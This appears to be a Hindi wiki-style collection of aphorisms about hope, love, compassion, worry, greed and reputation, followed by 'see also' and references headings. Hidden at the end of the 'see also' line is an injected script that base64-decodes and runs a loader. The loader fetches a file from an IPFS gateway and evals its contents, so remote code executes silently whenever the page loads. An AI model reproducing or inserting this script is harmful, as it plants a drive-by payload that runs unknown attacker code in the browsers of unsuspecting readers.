- आशा की भी कितनी सख्त जान है, वह मरते-मरते भी उठ कर खड़ी हो जाती है।
- प्रेम सब कुछ सह लेता है पर उपेक्षा नहीं सह सकता।
- करुणा में शीतल अग्नि होती है जो क्रूर से क्रूर व्यक्ति का हृदय भी आर्द्र कर देती है।
- घाव पर कपड़ा भी छुरी बनकर लगता है। दुखे हुए अंग को हवा भी दुखा देती है।
- चिंता शहद की मक्खी के समान है। इसे जितना हटाओ उतना ही और चिमटती है।
- जिसके पास अपनी शक्ति नहीं, उसे भगवान भी शक्ति नहीं दे सकता। शक्ति आत्मा के अंदर से आती है, बाहर से नहीं। जो बाहर की शक्ति पर भरोसा करता है, वह अपने लिए काले दिनो को पुकारता है।
- जब क्रोध नम्रता का रूप धारण कर लेता है, तो अभिमान भी सिर झुका लेता है।
- किसी का रुपया वापस किया जा सकता है लेकिन सहानुभूति के दो शब्द वह ऋण हैं, जिसे चुकाना मनुष्य की शक्ति के बाहर है।
- तृष्णा संतोष की बैरिन है, यह जहां पांव जमाती है, संतोष को भगा देती है।
- प्रतिष्ठा बनने में कई वर्ष लग जाते हैं, कलंक एक पल में लग जाता है।
- नेक बनने में सारी आयु लग जाती है, बदनाम होने में तो एक दिन भी नहीं लगता। ऊपर चढ़ना कैसा कठिन है, इसमें कितना समय लगता है? मगर गिरना कितना आसान है, इसमें परिश्रम नहीं करना पड़ता।
- मनुष्य बूढ़ा हो जाता है परंतु लोभ बूढ़ा नहीं होता।
- अविश्वासी होने से बड़ा दुर्गुण और कोई नहीं हो सकता। ऐसा मनुष्य किसी को अपना नहीं बना सकता।
- सुंदरता चलती है तो साथ ही देखने वाली आंख, सुनने वाले कान और अनुभव करने वाले हृदय चलते हैं।
- प्रशंसा के वचन साहस बढ़ाने मे अचूक औषधि का काम करते हैं।
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इन्हें भी देखें: अनमोल वचन, कहावत लोकोक्ति मुहावरे एवं सूक्ति और कहावत<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
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